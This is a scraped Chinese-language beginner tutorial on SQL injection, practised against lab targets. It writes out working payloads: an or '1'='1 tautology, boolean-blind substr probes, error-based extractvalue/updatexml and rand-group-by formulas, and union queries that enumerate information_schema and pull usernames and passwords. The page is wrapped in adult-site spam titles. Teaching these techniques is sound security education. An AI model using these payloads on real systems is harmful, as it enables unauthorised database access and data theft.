婷婷综合国产,91蜜桃婷婷狠狠久久综合9色 ,九九九九九精品,国产综合av

主頁 > 知識庫 > SQL注入詳解(掃盲篇)

SQL注入詳解(掃盲篇)

熱門標(biāo)簽:湖南保險智能外呼系統(tǒng)產(chǎn)品介紹 怎么申請400熱線電話 ai電話電話機器人 河北便宜電銷機器人軟件 簡單的智能語音電銷機器人 怎么去開發(fā)一個電銷機器人 南昌呼叫中心外呼系統(tǒng)哪家好 泗洪正規(guī)電話機器人找哪家 小程序智能電話機器人

SQL注入是比較常見的網(wǎng)絡(luò)攻擊方式之一,它不是利用操作系統(tǒng)的BUG來實現(xiàn)攻擊,而是針對程序員編程時的疏忽,通過SQL語句,實現(xiàn)無帳號登錄,甚至篡改數(shù)據(jù)庫。下面這篇文中就SQL注入進(jìn)行一個深入的介紹,感興趣的朋友們一起來看看吧。

SQL注入攻擊的總體思路

     1.尋找到SQL注入的位置

     2.判斷服務(wù)器類型和后臺數(shù)據(jù)庫類型

     3.針對不通的服務(wù)器和數(shù)據(jù)庫特點進(jìn)行SQL注入攻擊

關(guān)于 SQL Injection(SQL注入)

SQL Injection 就是通過把惡意的 SQL 命令插入到 Web 表單讓服務(wù)器執(zhí)行,最終達(dá)到欺騙服務(wù)器或數(shù)據(jù)庫執(zhí)行惡意的 SQL 命令。

學(xué)習(xí) SQL 注入,首先要搭一個靶機環(huán)境,我使用的是OWASP BWA,感興趣的可以去官網(wǎng)下載一個安裝,除了 SQL 注入,很多靶機環(huán)境都可以在 BWA 中找到,它專門為 OWASP ZAP 滲透工具設(shè)計的。

$id = $_GET['id'];
$getid = "SELECT first_name, last_name FROM users WHERE user_id = '$id'";
$result = mysql_query($getid) or die('pre>' . mysql_error() . '/pre>' );
$num = mysql_numrows($result);

這是一個很簡單的 PHP代碼,從前臺獲得 id 的值,交給數(shù)據(jù)庫來執(zhí)行,把結(jié)果返回給前臺。

比如我們在 OWASP 里輸入 id = 1,點擊 Submit,返回結(jié)果如下:

稍微懂一點后臺或者數(shù)據(jù)庫的人都知道,上面的那段代碼是有嚴(yán)重問題的,沒有對 id 的值進(jìn)行有效性、合法性判斷。也就是說,我們在 submit 輸入框輸入的如何內(nèi)容都會被提交給數(shù)據(jù)庫執(zhí)行,比如在輸入框輸入1' or '1'='1,執(zhí)行就會變成:

//原先要在數(shù)據(jù)庫中執(zhí)行的命令
SELECT first_name, last_name FROM users WHERE user_id = '1'
//變成
SELECT first_name, last_name FROM users WHERE user_id = '1' or '1'='1'

注意一下單引號,這是 SQL 注入中非常重要的一個地方,所以注入代碼的最后要補充一個 '1'='1讓單引號閉合。

由于 or 的執(zhí)行,會把數(shù)據(jù)庫表 users 中的所有內(nèi)容顯示出來,

下面對三種主要的注入類型進(jìn)行介紹。

Boolean-based 原理分析

首先不得不講SQL中的AND和OR

AND 和 OR 可在 WHERE 子語句中把兩個或多個條件結(jié)合起來。

AND:返回第一個條件和第二個條件都成立的記錄。

OR:返回滿足第一個條件或第二個條件的記錄。

AND和OR即為集合論中的交集和并集。

下面是一個數(shù)據(jù)庫的查詢內(nèi)容。

mysql> select * from students;
+-------+-------+-----+
| id | name | age |
+-------+-------+-----+
| 10056 | Doris | 20 |
| 10058 | Jaune | 22 |
| 10060 | Alisa | 29 |
+-------+-------+-----+
3 rows in set (0.00 sec)

1)

mysql> select * from students where TRUE ;
+-------+-------+-----+
| id | name | age |
+-------+-------+-----+
| 10056 | Doris | 20 |
| 10058 | Jaune | 22 |
| 10060 | Alisa | 29 |
+-------+-------+-----+
3 rows in set (0.00 sec)

2)

mysql> select * from students where FALSE ;
Empty set (0.00 sec)

3)

mysql> SELECT * from students where id = 10056 and TRUE ;
+-------+-------+-----+
| id | name | age |
+-------+-------+-----+
| 10056 | Doris | 20 |
+-------+-------+-----+
1 row in set (0.00 sec)

4)

mysql> select * from students where id = 10056 and FALSE ;
Empty set (0.00 sec)

5)

mysql> selcet * from students where id = 10056 or TRUE ;
+-------+-------+-----+
| id | name | age |
+-------+-------+-----+
| 10056 | Doris | 20 |
| 10058 | Jaune | 22 |
| 10060 | Alisa | 29 |
+-------+-------+-----+
3 rows in set (0.00 sec)

6)

mysql> select * from students where id = 10056 or FALSE ;
+-------+-------+-----+
| id | name | age |
+-------+-------+-----+
| 10056 | Doris | 20 |
+-------+-------+-----+
1 row in set (0.00 sec)

會發(fā)現(xiàn)and 1=1 , and 1=2 即是 and TRUE , and FALSE 的變種。

這便是最基礎(chǔ)的boolean注入,以此為基礎(chǔ)你可以自由組合語句。

字典爆破流

and exists(select * from ?) //?為猜測的表名
and exists(select ? from x) //?為猜測的列名

截取二分流

and (length((select schema_name from information_schema.schemata limit 1))>?) //判斷數(shù)據(jù)庫名的長度
and (substr((select schema_name from information_schema.schemata limit 1),1,1)>'?')
and (substr((select schema_name from information_schema.schemata limit 1),1,1)'?') //利用二分法判斷第一個字符

Boolean-based總結(jié)

根據(jù)前面的介紹,我們知道,對于基于Boolean-based的注入,必須要有一個可以正常訪問的地址,比如http: //redtiger.labs.overthewire.org/level4.php?id=1 是一個可以正常訪問的記錄,說明id=1的記錄是存在的,下面的都是基于這個進(jìn)一步猜測。先來判斷一個關(guān)鍵字keyword的長度,在后面構(gòu)造id=1 and (select length(keyword) from table)=1,從服務(wù)器我們會得到一個返回值,如果和先前的返回值不一樣,說明and后面的(select length(keyword) from table)=1返回false,keyword的長度不等于1。繼續(xù)構(gòu)造直到id=1 and (select length(keyword) from table)=15返回true,說明keyword的長度為15。

為什么我們剛開始一定要找一個已經(jīng)存在的id,其實這主要是為了構(gòu)造一個為真的情況。Boolean-based就是利用查詢結(jié)果為真和為假時的不同響應(yīng),通過不斷猜測來找到自己想要的東西。

對于keyword的值,mysql數(shù)據(jù)庫可以使用substr(string, start, length)函數(shù),截取string從第start位開始的length個字符串id=1 and (select substr(keyword,1,1) from table) ='A',依此類推,就可以獲得keyword的在數(shù)據(jù)庫中的值。

Boolean-based的效率很低,需要多個請求才能確定一個值,盡管這種代價可以通過腳本來完成,在有選擇的情況下,我們會優(yōu)先選擇其他方式。

Error Based 原理分析

關(guān)于錯誤回顯

基于錯誤回顯的sql注入就是通過sql語句的矛盾性來使數(shù)據(jù)被回顯到頁面上。

所用到的函數(shù)

count() 統(tǒng)計元祖的個數(shù)(相當(dāng)于求和)

select count(*) from information_schema.tables; 

rand()用于產(chǎn)生一個0~1的隨機數(shù) 

floor()向下取整 

group by 依據(jù)我們想要的規(guī)矩對結(jié)果進(jìn)行分組 

concat將符合條件的同一列中的不同行數(shù)據(jù)拼接,以逗號隔開

用于錯誤回顯的sql語句

第一種: 基于 rand() group by 的錯誤

利用group by part of rand() returns duplicate key error這個bug,關(guān)于rand()函數(shù)與group by 在mysql中的錯誤報告如下:

RAND() in a WHERE clause is re-evaluated every time the WHERE is executed.
You cannot use a column with RAND() values in an ORDER BY clause, because ORDER BY would evaluate the column multiple times.

這個bug會爆出duplicate key這個錯誤,然后順便就把數(shù)據(jù)偷到了。

公式:username=admin' and (select 1 from (select count(), concat(floor(rand(0)2),0x23,(你想獲取的數(shù)據(jù)的sql語句))x from information_schema.tables group by x )a) and ‘1' = ‘1

第二種: XPATH爆信息

這里主要用到的是ExtractValue()UpdateXML()這2個函數(shù),由于mysql 5.1以后提供了內(nèi)置的XML文件解析和函數(shù),所以這種注入只能用于5.1版本以后使用

查看sql手冊

語法:EXTRACTVALUE (XML_document, XPath_string);

第一個參數(shù):XML_document是String格式,為XML文檔對象的名稱,文中為Doc

第二個參數(shù):XPath_string (Xpath格式的字符串) ,如果不了解Xpath語法,可以在網(wǎng)上查找教程。

作用:從目標(biāo)XML中返回包含所查詢值的字符串

語法:UPDATEXML (XML_document, XPath_string, new_value);

第一個參數(shù):XML_document是String格式,為XML文檔對象的名稱,文中為Doc

第二個參數(shù):XPath_string (Xpath格式的字符串) ,如果不了解Xpath語法,可以在網(wǎng)上查找教程。

第三個參數(shù):new_value,String格式,替換查找到的符合條件的數(shù)據(jù)

作用:改變文檔中符合條件的節(jié)點的值

現(xiàn)在就很清楚了,我們只需要不滿足XPath_string(Xpath格式)就可以了,但是由于這個方法只能爆出32位,所以可以結(jié)合mid來使用

公式1:username=admin' and (extractvalue(1, concat(0x7e,(你想獲取的數(shù)據(jù)的sql語句)))) and ‘1'='1

公式2:username=admin' and (updatexml(1, concat(0x7e,(你想獲取的數(shù)據(jù)的sql語句)),1)) and ‘1'='1

基于錯誤回顯的注入,總結(jié)起來就一句話,通過sql語句的矛盾性來使數(shù)據(jù)被回顯到頁面上,但有時候局限于回顯只能回顯一條,導(dǎo)致基于錯誤的注入偷數(shù)據(jù)的效率并沒有那么高,但相對于布爾注入已經(jīng)提高了一個檔次。

union query injection

要了解union query injection,首先得了解union查詢,union用于合并兩個或更多個select的結(jié)果集。比如說

SELECT username, password FROM account;

結(jié)果是

admin 123456

SELECT id, title FROM article

的結(jié)果是

1 Hello, World

SELECT username, password FROM account
UNION 
SELECT id, title FROM article

的結(jié)果就是

admin 123456

1 Hello, World

比起多重嵌套的boolean注入,union注入相對輕松。因為,union注入可以直接返回信息而不是布爾值。前面的介紹看出把union會把結(jié)果拼拼到一起,所有要讓union前面的查詢返回一個空值,一般采用類似于id=-1的方式。

1)

mysql> select name from students where id = -1 union select schema_name from information_schema.schemata; //數(shù)據(jù)庫名 
+--------------------+
| name  |
+--------------------+
| information_schema |
| mysql  |
| performance_schema |
| rumRaisin  |
| t3st  |
| test  |
+--------------------+
6 rows in set (0.00 sec)

2)

mysql> select name from students where id = -1 union select table_name from information_schema.tables where table_schema='t3st'; //表名
+----------+
| name |
+----------+
| master |
| students |
+----------+
2 rows in set (0.00 sec)

3)

mysql> select name from students where id = -1 union select column_name from information_schema.columns where table_name = 'students' ; //列名
+------+
| name |
+------+
| id |
| name |
| age |
+------+
3 rows in set (0.00 sec)

UNION 操作符用于合并兩個或多個 SELECT 語句的結(jié)果集。請注意,UNION 內(nèi)部的 SELECT 語句必須擁有相同數(shù)量的列。列也必須擁有相似的數(shù)據(jù)類型。同時,每條 SELECT 語句中的列的順序必須相同。

舉個例子,還以最開始的 OWASP 為基礎(chǔ),返回了兩個值分別是 first_name 和 sur_name,可想而知,服務(wù)器在返回數(shù)據(jù)庫的查詢結(jié)果時,就會把結(jié)果中的第一個值和第二個值傳給 first_name 和 sur_name,多了或少了,都會引起報錯。

所以你如果想要使用union查詢來進(jìn)行注入,你首先要猜測后端查詢語句中查詢了多少列,哪些列可以回顯給用戶。

猜測列數(shù)

-1 union select 1
-1 union select 1,2
-1 union select 1,2,3
//直到頁面正常顯示

比如這條語句

-1 UNION SELECT 1,2,3,4

如果顯示的值為3和4,表示該查詢結(jié)果中有四列,并且第三列和第四列是有用的。則相應(yīng)的構(gòu)造union語句如下

-1 UNION SELECT 1,2,username,password FROM table

小結(jié)一下

SQL 注入大概有5種,還有兩種分別是 Stacked_queries(基于堆棧)和 Time-based blind(時間延遲),堆棧就是多語句查詢,用 ‘;' 把語句隔開,和 union 一樣;時間延遲就是利用 sleep() 函數(shù)讓數(shù)據(jù)庫延遲執(zhí)行,偷數(shù)據(jù)的速度很慢。(還有一個第六種,內(nèi)聯(lián)注入,但和前面涉及的內(nèi)容有所重疊,就不單獨來討論了)

引用說明,自己之前研究 SQL 注入的時候,也是一點一點摸索的,本博客的大部分內(nèi)容是來自于公司內(nèi)網(wǎng)的服務(wù)器中(公司定期考核,看你都干了什么)。當(dāng)時因為是內(nèi)網(wǎng),就沒有做引用,現(xiàn)在想找到這些引用的文章也很困難,見諒。

好了,以上就是這篇文章的全部內(nèi)容了,希望本文的內(nèi)容對大家的學(xué)習(xí)或者工作能帶來一定的幫助,如果有疑問大家可以留言交流。

您可能感興趣的文章:
  • 利用SQL注入漏洞登錄后臺的實現(xiàn)方法
  • PHP中防止SQL注入實現(xiàn)代碼
  • PHP+MySQL 手工注入語句大全 推薦
  • php中防止SQL注入的最佳解決方法
  • 整理比較全的Access SQL注入?yún)⒖?/li>
  • php防止SQL注入詳解及防范
  • 利用SQL注入漏洞拖庫的方法
  • php+mysql注入頁面實現(xiàn)
  • discuz的php防止sql注入函數(shù)
  • PHP中防止SQL注入攻擊和XSS攻擊的兩個簡單方法

標(biāo)簽:那曲 江蘇 淮安 威海 柳州 荊門 瀘州 景德鎮(zhèn)

巨人網(wǎng)絡(luò)通訊聲明:本文標(biāo)題《SQL注入詳解(掃盲篇)》,本文關(guān)鍵詞  SQL,注入,詳解,掃盲,篇,SQL,;如發(fā)現(xiàn)本文內(nèi)容存在版權(quán)問題,煩請?zhí)峁┫嚓P(guān)信息告之我們,我們將及時溝通與處理。本站內(nèi)容系統(tǒng)采集于網(wǎng)絡(luò),涉及言論、版權(quán)與本站無關(guān)。
  • 相關(guān)文章
  • 下面列出與本文章《SQL注入詳解(掃盲篇)》相關(guān)的同類信息!
  • 本頁收集關(guān)于SQL注入詳解(掃盲篇)的相關(guān)信息資訊供網(wǎng)民參考!
  • 推薦文章
    婷婷综合国产,91蜜桃婷婷狠狠久久综合9色 ,九九九九九精品,国产综合av
    亚洲欧美日韩中文播放| 色综合天天在线| 中文字幕一区二区三区在线不卡| 久久精品一区二区| 国产91丝袜在线播放0| 五月婷婷久久丁香| 日韩精品专区在线| va亚洲va日韩不卡在线观看| 精品久久免费看| 欧美在线观看视频在线| 欧美日免费三级在线| 1024精品合集| 欧美日韩国产高清一区| 国精产品一区一区三区mba视频| 91免费在线视频观看| 不卡免费追剧大全电视剧网站| 在线播放亚洲一区| 亚洲成人久久影院| 欧美日韩国产另类一区| 久久狠狠亚洲综合| 亚洲欧美在线视频| 91精品国产91久久久久久最新毛片 | 高清免费成人av| 日韩成人精品在线| 亚洲一区二区av在线| 丝袜美腿高跟呻吟高潮一区| 一区二区理论电影在线观看| 亚洲国产一区视频| 精品中文字幕一区二区小辣椒| 经典一区二区三区| 国产一区二区不卡| 欧美在线观看视频一区二区| 91麻豆swag| 欧美三区在线观看| 国产免费观看久久| 日韩不卡一二三区| 色吧成人激情小说| 欧美一区二区三区四区久久| 欧美国产丝袜视频| 日韩国产在线观看一区| 国产精品99久久久久久有的能看 | 日韩精品91亚洲二区在线观看 | 8x8x8国产精品| 91视频免费播放| 色偷偷成人一区二区三区91| 欧美日韩不卡一区二区| 日本欧美在线看| 亚洲一区成人在线| 国产精品久久久久久亚洲毛片 | 日韩一区欧美小说| 亚洲欧美综合另类在线卡通| 粉嫩av一区二区三区在线播放| 欧美色图片你懂的| 久久精品亚洲精品国产欧美| 久久99久久精品| 日韩一区二区免费电影| 蜜臀91精品一区二区三区 | 91亚洲男人天堂| 国产精品黄色在线观看| thepron国产精品| 最新国产成人在线观看| 色噜噜偷拍精品综合在线| 久久国产尿小便嘘嘘| 欧美视频一区二区| 精品国产一区二区三区忘忧草| 成人爱爱电影网址| 中文字幕一区二区视频| 亚洲6080在线| 麻豆成人在线观看| 91国内精品野花午夜精品| 99久久久久免费精品国产 | 成人午夜av电影| 91精品一区二区三区久久久久久| 国内精品久久久久影院色 | 老司机免费视频一区二区 | 欧美日韩日本视频| 欧美成人一级视频| 欧美激情一区二区在线| 亚洲一区二区三区三| 韩国三级在线一区| 欧美一级免费大片| 日韩理论片一区二区| 国产精品久久久久影院色老大 | 国产人成一区二区三区影院| 成人激情午夜影院| 精品国精品国产| 成人教育av在线| 一区二区三区中文字幕在线观看| 亚洲成人精品一区| 久久精品av麻豆的观看方式| 欧美美女直播网站| 视频一区视频二区中文字幕| 在线观看亚洲精品视频| 亚洲精品国产高清久久伦理二区| 亚洲精品一线二线三线无人区| 夜夜精品浪潮av一区二区三区| 欧美成人a视频| 国内精品免费在线观看| 久久久久久麻豆| 欧美一二三区在线| 在线观看免费亚洲| 成人av一区二区三区| 亚洲一区二区三区四区在线观看 | 国产亚洲欧洲997久久综合| 成人美女在线观看| 亚洲女人小视频在线观看| 国产亚洲欧美日韩在线一区| 免费xxxx性欧美18vr| 国产一区二区毛片| bt欧美亚洲午夜电影天堂| 国产一区二区三区电影在线观看| 欧美日韩mp4| 日韩欧美视频一区| 1024亚洲合集| 国产欧美精品在线观看| 3d动漫精品啪啪1区2区免费| zzijzzij亚洲日本少妇熟睡| 亚洲综合一二三区| 午夜日韩在线电影| 老司机午夜精品| 日韩福利视频网| 久久99精品视频| 国产一区亚洲一区| 日韩电影在线免费观看| 欧美精品高清视频| 欧美电影在线免费观看| 在线播放91灌醉迷j高跟美女| 国产视频一区二区三区在线观看| 久久久国产午夜精品 | 欧美日韩免费电影| 成人精品小蝌蚪| av亚洲精华国产精华| 欧美videos大乳护士334| 亚洲国产cao| 亚洲.国产.中文慕字在线| 国产精品一区二区久激情瑜伽| 欧美在线看片a免费观看| 91首页免费视频| 亚洲欧洲三级电影| 日韩专区欧美专区| aa级大片欧美| 欧美一区二区视频网站| 国产精品久久精品日日| 亚洲少妇30p| 亚洲天堂中文字幕| 一区二区三区在线影院| 久久精品国产亚洲一区二区三区| 色偷偷久久一区二区三区| 欧美在线视频你懂得| 亚洲国产成人一区二区三区| 一本一道综合狠狠老| 国产在线不卡一区| 日韩亚洲欧美在线| 视频在线观看91| 国产精品欧美久久久久无广告| 久久精品亚洲国产奇米99| 在线免费观看视频一区| 国产精品美女久久久久aⅴ国产馆| 国产高清久久久| 亚洲成av人片一区二区梦乃| 久久精品亚洲一区二区三区浴池| 国产制服丝袜一区| 蜜臀av性久久久久蜜臀aⅴ | 日本sm残虐另类| 欧美高清性hdvideosex| 亚洲视频在线一区观看| 国产麻豆成人传媒免费观看| 欧美日韩精品一区视频| 亚洲一区二区三区国产| 色综合中文字幕国产 | 色美美综合视频| 国产精品免费av| 99视频在线精品| 另类小说图片综合网| 国产无一区二区| 日韩美女天天操| 久久av资源站| 亚洲成a天堂v人片| 国产色产综合色产在线视频| 欧美日韩精品一区二区三区四区| 国产精品99久久久久久宅男| 亚洲免费av网站| 18涩涩午夜精品.www| 精品久久久久久综合日本欧美 | 丰满少妇在线播放bd日韩电影| 亚洲欧美日韩精品久久久久| 国产精品亲子伦对白| 国产婷婷色一区二区三区| 欧美一级在线免费| 欧美老肥妇做.爰bbww视频| 北条麻妃国产九九精品视频| 日韩精品一区第一页| 亚洲成a天堂v人片| 日本网站在线观看一区二区三区| 亚洲成年人网站在线观看| 亚洲一区二区三区视频在线播放| 亚洲午夜久久久久久久久久久 | 99久久精品国产麻豆演员表| 国产iv一区二区三区| 成人一级片网址|